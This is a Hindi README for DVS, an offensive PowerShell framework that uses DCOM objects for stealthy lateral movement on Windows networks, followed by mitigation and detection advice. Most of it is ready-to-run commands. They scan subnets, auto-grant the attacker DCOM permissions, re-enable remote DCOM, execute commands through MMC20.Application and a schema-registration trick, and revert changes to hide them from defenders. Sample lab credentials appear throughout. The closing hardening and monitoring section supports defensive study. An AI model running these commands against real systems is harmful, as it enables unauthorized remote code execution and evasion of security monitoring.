
D(COM) V(ulnerability) S(canner) जिसे दुष्ट स्विस आर्मी नाइफ भी कहा जाता है - DCOM ऑब्जेक्ट्स का उपयोग कर पार्श्विक गति
क्या आपने कभी सोचा है कि आप आंतरिक नेटवर्क में लेटरल कैसे जा सकते हैं? या EDRs को सचेत किए बिना रिमोट मशीनों से बातचीत कर सकते हैं?
मान लें कि हमारे पास वैध क्रेडेंशियल्स हैं, या रिमोट मशीन तक पहुंच वाला एक सक्रिय सत्र है, लेकिन हमारे पास किसी ज्ञात, अपेक्षित या अत्यधिक निगरानी वाली विधि (जैसे WMI, टास्क शेड्यूलर, WinRM, PowerShell रिमोटिंग) के माध्यम से दूरस्थ रूप से प्रक्रिया निष्पादित करने का विकल्प नहीं है।
इन परिदृश्यों के लिए, DVS फ्रेमवर्क बचाव में आता है।
DVS फ्रेमवर्क एक स्विस आर्मी नाइफ है जो आपको रिमोट DCOM ऑब्जेक्ट्स के कमजोर कार्यों को सूचीबद्ध करने, उन्हें लॉन्च करने और उनका उपयोग करके हमले शुरू करने की अनुमति देता है।
फ्रेमवर्क को "रेड टीम" मानसिकता के साथ विकसित किया जा रहा है और रिमोट मशीनों से समझौता करने के लिए गुप्त तरीकों का उपयोग करता है।
DVS फ्रेमवर्क में DCOM के विरुद्ध रिमोट हार्डनिंग को बायपास करने के विभिन्न तरीके शामिल हैं, जैसे DCOM एक्सेस को दूरस्थ रूप से पुनः सक्षम करना और हमलावर उपयोगकर्ता को स्वचालित रूप से आवश्यक अनुमतियाँ प्रदान करना।
फ्रेमवर्क हमले से पहले रिमोट मशीन पर किए गए परिवर्तनों को उनकी मूल स्थिति में वापस ला सकता है - इन परिवर्तनों को डिफेंडरों से छिपाकर।
हमारी मुख्य अंतर्दृष्टि यह है कि उपकरण एक शानदार तकनीक के माध्यम से गैर-कमजोर DCOM ऑब्जेक्ट्स का उपयोग करके कमांड भी निष्पादित कर सकता है (नीचे Invoke-RegisterRemoteSchema के बारे में पढ़ें)।
PowerShell 2.0 और उससे ऊपर के साथ संगत
यूट्यूब वीडियो PoC: DVS
यह उपकरण केवल परीक्षण और शैक्षिक उद्देश्यों के लिए है। इस कोड का कोई अन्य उपयोग अनुमत नहीं है। अपने जोखिम पर उपयोग करें।
लेखक इस उपकरण के दुरुपयोग की कोई जिम्मेदारी नहीं लेता है।
इसका उपयोग करके आप इस तथ्य को स्वीकार करते हैं कि इस उपकरण के उपयोग से होने वाली कोई भी क्षति आपकी जिम्मेदारी है।
रिमोट-रजिस्ट्री एक्सेस (MS-RRP)
AutoGrant मोड चिह्नित है, तो लिखने की अनुमतियाँ जांचें, अन्यथा पढ़ने की अनुमतियाँ जांचेंमानक रजिस्ट्री प्रदाता (यदि रिमोट-रजिस्ट्री अस्वीकार की गई है)
StdRegProv सुलभ है या नहींAutoGrant मोड चिह्नित है, तो लिखने की अनुमतियाँ जांचें, अन्यथा पढ़ने की अनुमतियाँ जांचेंDVS उपकरण पहले जांचता है कि क्या प्रमुख-पहचान के पास निम्नलिखित चरणों के माध्यम से रिमोट मशीन तक पहुंच है:
मूल क्रियाएँ
SkipRegAuth चिह्नित नहीं है)
AutoGrant चिह्नित है), अन्यथा विफलadsi/WindowsIdentity सुविधा के माध्यम से), को DCOM (रिमोट रजिस्ट्री क्वेरी के माध्यम से) से बातचीत करने की अनुमति दी गई हैAutoGrant चिह्नित है), अन्यथा विफलHKLM या HKCU Hives) का उपयोग करने का प्रयास करेगाInvoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Get details of the Invoke-RegisterRemoteSchema command
Invoke-DCOMObjectScan फ़ंक्शन आपको DCOM ऑब्जेक्ट्स को स्कैन करने और एक फ़ाइल में शामिल पैटर्न या सटीक फ़ंक्शन नामों की सूची के माध्यम से कमजोर फ़ंक्शन खोजने की अनुमति देता है।
उदाहरण:
DC01 होस्ट पर रजिस्ट्री क्वेरी किए बिना हमलावर मशीन से MMC20.Application (ProgID) ऑब्जेक्ट को सूचीबद्ध और स्कैन करता है।
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
नोट: उपकरण ACL अनुमतियों का विश्लेषण नहीं करेगा, और जब उपकरण सफल होगा, तो यह रजिस्ट्री पर उल्लिखित विवरणों को छोड़कर ऑब्जेक्ट के बारे में सभी जानकारी हल करेगा (जैसे ऑब्जेक्ट नाम, निष्पादन योग्य फ़ाइल, आदि)।
जांचें कि क्या MMC20.Application (ProgID) ऑब्जेक्ट पहले DCOM ऑब्जेक्ट की एक्सेस सूची को क्वेरी और सत्यापित किए बिना हमलावर मशीन से DC01 होस्ट तक सुलभ है।
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
मान्य करता है कि क्या MMC20.Application (ProgID) 10.211.55.4/24 रेंज के माध्यम से लागू है। यदि मौजूद है, तो उपकरण इसके बारे में जानकारी सूचीबद्ध करने का प्रयास करेगा (वर्तमान लॉग ऑन उपयोगकर्ता सत्र का उपयोग करके)।
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
मान्य करता है कि क्या {00020812-0000-0000-C000-000000000046} CLSID 10.211.55.4 आईपी पते के माध्यम से ऑब्जेक्ट मौजूद है और सुलभ है। यदि मौजूद है, तो उपकरण इसके बारे में जानकारी हल करेगा (lab\administrator क्रेडेंशियल्स का उपयोग करके)।
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
10.211.55.4 आईपी पते के माध्यम से निर्दिष्ट पथ पर संग्रहीत सभी ऑब्जेक्ट्स को स्कैन करता है (जैसे C:\Users\USERNAME\Desktop\DVS\objects.txt), और निर्दिष्ट फ़ाइल में स्थित फ़ंक्शन सूची (जैसे vulnerable.txt) को lab\administrator क्रेडेंशियल्स के साथ निम्नलिखित कॉन्फ़िगरेशन के साथ ढूंढता है:
अधिकतम गहराई: 4
अधिकतम परिणाम: 1 (प्रत्येक ऑब्जेक्ट के लिए 1 परिणाम)
AutoGrant मोड: यदि हमारे पास ऑब्जेक्ट तक पहुंच नहीं है या DCOM सुविधा अक्षम है, तो DCOM सुविधा सक्षम करें और प्रासंगिक DCOM ऑब्जेक्ट को स्वचालित अनुदान करें।
अंत में, मशीन को हमले से पहले की स्थिति में वापस लाएं।
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
10.211.55.1/24 रेंज से उपलब्ध रिमोट मशीनों पर संग्रहीत सभी ऑब्जेक्ट्स को स्कैन करता है और चयनित फ़ाइल (जैसे C:\Users\USERNAME\Desktop\DVS\vulnerable.txt) पर स्थित सूची से संभावित कमजोर फ़ंक्शन ढूंढता है, चयनित फ़ाइल (जैसे C:\Users\USERNAME\Desktop\DVS\exclude.txt) पर ऑब्जेक्ट्स को बाहर करता है, और एक ही ऑब्जेक्ट पर अन्य रूट पर समान नाम की संपत्ति को छोड़ देता है।
नोट: SkipSameProperyName फ्लैग समान प्राथमिकताओं (विधियाँ/अन्य गुण) या विभिन्न गहराई श्रृंखला के साथ समान संपत्ति नाम होने पर कमजोर फ़ंक्शन को छोड़ सकता है।
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
Get-ExecutionCommand फ़ंक्शन आपको एक PowerShell पेलोड उत्पन्न करने की अनुमति देता है जो प्रासंगिक मापदंडों के साथ रिमोट DCOM फ़ंक्शन के साथ बातचीत और निष्पादित करेगा।
जांचता है कि क्या प्रमुख-पहचान को 10.211.55.4 आईपी पते के माध्यम से {00020812-0000-0000-C000-000000000046} CLSID ऑब्जेक्ट के साथ बातचीत करने की अनुमति दी गई है, फिर यह निष्पादन कमांड उत्पन्न करेगा।
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
DCOM एक्सेस की जाँच करता है,
यदि प्रमुख-पहचान के पास आवश्यक अनुमतियाँ नहीं हैं या DCOM सुविधा अक्षम है, तो उपकरण DCOM सुविधा सक्षम करेगा, पहचान तक पहुंच प्रदान करेगा और 10.211.55.4 आईपी पते के माध्यम से lab\administrator क्रेडेंशियल्स का उपयोग करके MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करेगा, और आपको निष्पादन कमांड उत्पन्न करेगा।
अंत में, यह मशीन को हमले से पहले की स्थिति में वापस लाएगा।
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
ACL अनुमतियों का विश्लेषण किए बिना वर्तमान लॉग ऑन सत्र का उपयोग करके 10.211.55.1/24 रेंज के माध्यम से MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करने का प्रयास करता है, फिर यह निष्पादन कमांड उत्पन्न करेगा।
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
10.211.55.4 आईपी पते के माध्यम से, रजिस्ट्री क्वेरी किए बिना MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करने का प्रयास करता है।
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
Invoke-ExecutionCommand फ़ंक्शन आपको लॉग ऑन उपयोगकर्ता या प्रदान किए गए क्रेडेंशियल्स का उपयोग करके DCOM ऑब्जेक्ट के माध्यम से कमांड निष्पादित करने की अनुमति देता है।
उदाहरण:
DCOM एक्सेस की जाँच करता है,
यदि प्रमुख-पहचान के पास आवश्यक अनुमतियाँ नहीं हैं या DCOM सुविधा अक्षम है, तो उपकरण DCOM सुविधा सक्षम करेगा, पहुंच प्रदान करेगा, 10.211.55.1/24 रेंज के माध्यम से वर्तमान लॉग ऑन उपयोगकर्ता सत्र का उपयोग करके MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करेगा और निम्नलिखित कमांड निष्पादित करेगा:
cmd.exe /c calc कमांड निष्पादित करता है
Frame.Top गुण को 1 पर सेट करता है
अंत में, मशीन को हमले से पहले की स्थिति में वापस लाएं।
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
lab\administrator क्रेडेंशियल्स का उपयोग करके 10.211.55.4 आईपी पते के माध्यम से MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करने का प्रयास करता है, और निम्नलिखित कमांड निष्पादित करता है: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
ACL अनुमतियों का विश्लेषण किए बिना वर्तमान लॉग ऑन उपयोगकर्ता सत्र का उपयोग करके MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करने का प्रयास करता है, और निम्नलिखित कमांड निष्पादित करता है: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
Invoke-RegisterRemoteSchema फ़ंक्शन आपको लॉग ऑन उपयोगकर्ता या प्रदान किए गए क्रेडेंशियल्स का उपयोग करके निम्नलिखित DCOM ऑब्जेक्ट्स के माध्यम से कमांड निष्पादित करने की अनुमति देता है:
नोट: इन DCOM-ऑब्जेक्ट्स को स्थानीय मशीन हाइव तक किसी भी पहुंच की आवश्यकता नहीं है। वे किसी भी उपयोगकर्ता के साथ पैर जमा सकते हैं जो रिमोट मशीन तक पहुंच सकता है!
वर्तमान लॉग ऑन सत्र का उपयोग करके 10.211.55.1/24 रेंज पर cmd /c calc कमांड निष्पादित करता है, और यदि आवश्यक हो तो विशेषाधिकार प्रदान करता है
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
प्रदान किए गए क्रेडेंशियल्स का उपयोग करके 10.211.55.4 रिमोट मशीन पर cmd /c calc कमांड निष्पादित करता है
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
रिमोट DCOM एक्सेस अक्षम करें
यदि आवश्यक न हो तो रिमोट रजिस्ट्री एक्सेस की अनुमति न दें
दोनों विकल्पों को उपलब्धता पर प्रभाव डाले बिना एंटरप्राइज़ वातावरण में लागू करना कठिन है।
फिर भी, यह उन एंडपॉइंट्स के लिए एक अच्छा हार्डनिंग विकल्प हो सकता है जिन्हें डोमेन रिमोट मैनेजमेंट की आवश्यकता नहीं है (जैसे स्टैंडअलोन एंडपॉइंट्स)।
विंडोज डिफेंडर फ़ायरवॉल में डोमेन और प्राइवेट प्रोफाइल सक्षम करें
हमले की सतह को कम करने के लिए LAPS का उपयोग करने की ओर बढ़ें। यदि डोमेन में प्रत्येक कंप्यूटर का एक अलग स्थानीय व्यवस्थापक पासवर्ड है, तो इस खाते का उपयोग लेटरल मूवमेंट के लिए नहीं किया जा सकता है।
उपयोगकर्ता पहुंच अधिकारों को हार्डन करना इस हमले को रोक सकता है
समूह नीति वस्तुओं का उपयोग करके कोई संगठन प्रशासकों, उपयोगकर्ताओं और अन्य समूहों को सूची से हटा सकता है, और केंद्रीय प्रबंधन के लिए एक विशेष समूह/उपयोगकर्ता का उपयोग करने की ओर बढ़ सकता है जो अन्य कंप्यूटरों में इंटरैक्टिव रूप से लॉग इन नहीं करता है
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
CIS जैसे आधिकारिक हार्डनिंग गाइड में [नेटवर्क से इस कंप्यूटर तक पहुंच] की अनुशंसित सेटिंग "प्रशासकों और रिमोट डेस्कटॉप उपयोगकर्ताओं या प्रमाणित उपयोगकर्ताओं" के मानों के साथ है। ये अनुशंसाएँ DVS उपकरण के प्रति संवेदनशील हैं।
DCOM अनुमतियों को प्रशासकों के अधिकारों को अनुमतियों से हटाकर हार्डन करें - रिमोट लॉन्च और रिमोट एक्टिवेशन।
कंप्यूटरों के बीच DCOM एक्सेस को ब्लॉक करने के लिए होस्ट-आधारित फ़ायरवॉल / एप्लिकेशन-अवेयर फ़ायरवॉल का उपयोग करें। विशेष रूप से उस कंप्यूटर के लिए जो आईटी या प्रबंधन बुनियादी ढांचे का हिस्सा नहीं है।
एप्लिकेशन नियंत्रण नियमों का उपयोग सुरक्षा नियंत्रणों के अंतिम चक्र के रूप में कमजोर प्रक्रियाओं को खतरनाक चाइल्ड प्रक्रियाओं को शुरू करने या DLL लोड करने से रोकने के लिए किया जा सकता है।
उदाहरण:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
निम्नलिखित स्थानों पर रजिस्ट्री में परिवर्तनों की निगरानी करें:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
यह कुंजी DCOM अनुमति सेटिंग्स है। यदि वे बदली जाती हैं, तो इसका मतलब हो सकता है कि DVS उपकरण का उपयोग करने वाले प्रतिद्वंद्वी ने हार्डनिंग हटा दी है।
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"[HKEY_LOCAL_MACHINE\SOFTWARE\Classes] कुंजी से जुड़ी उपकुंजियाँ और रजिस्ट्री मानों में एक एप्लिकेशन के बारे में जानकारी होती है जो COM कार्यक्षमता का समर्थन करने के लिए आवश्यक है। इस जानकारी में समर्थित डेटा प्रारूप, संगतता जानकारी, प्रोग्रामेटिक पहचानकर्ता, DCOM और नियंत्रण जैसे विषय शामिल हैं।" Microsoft dev center संदर्भ
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
इस कुंजी में परिवर्तन यह संकेत दे सकता है कि DVS उपकरण ने DCOM रिमोट एक्टिवेशन और रिमोट लॉन्च प्रतिबंधों को अक्षम कर दिया है।
कंप्यूटरों के बीच DCOM एक्सेस को ब्लॉक करने के लिए एप्लिकेशन-अवेयर फ़ायरवॉल का उपयोग करें। विशेष रूप से उस कंप्यूटर से जो आईटी या प्रबंधन बुनियादी ढांचे का हिस्सा नहीं है।
DCOM प्रोटोकॉल का पता लगाने के लिए इंट्रूज़न प्रिवेंशन सिस्टम (जैसे Snort, Suricata) का उपयोग किया जा सकता है जो RPC (MS-RPC, MS-RPCE) और रिमोट रजिस्ट्री प्रोटोकॉल (MS-RRP) पर आधारित है।
विंडोज डिफेंडर फ़ायरवॉल की निगरानी डोमेन और प्राइवेट प्रोफाइल पर अवरुद्ध ट्रैफ़िक पर ऑडिट लॉग सक्षम करके करें।
निम्नलिखित कुंजी में परिवर्तनों की निगरानी करें। यह संकेत दे सकता है कि DVS उपकरण ने माइक्रोसॉफ्ट डिफेंडर फ़ायरवॉल डायनामिक RPC प्रतिबंधों को बायपास करने के लिए एक नियम बनाया है।
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
विंडोज इवेंट लॉग की निगरानी करें:ईवेंट की ऑडिट सक्षम करें। सफलता और विफलता पर सक्षम की जाने वाली ऑडिट सेटिंग्स: खाता लॉगऑन ईवेंट ऑडिट | लॉगऑन ईवेंट ऑडिट | ऑब्जेक्ट एक्सेस ऑडिट | NTLM ऑडिटिंग
इस रजिस्ट्री कुंजी पर जाएँ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] मान '1' के साथ नए DWORD बनाएँ जिन्हें ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel कहा जाता है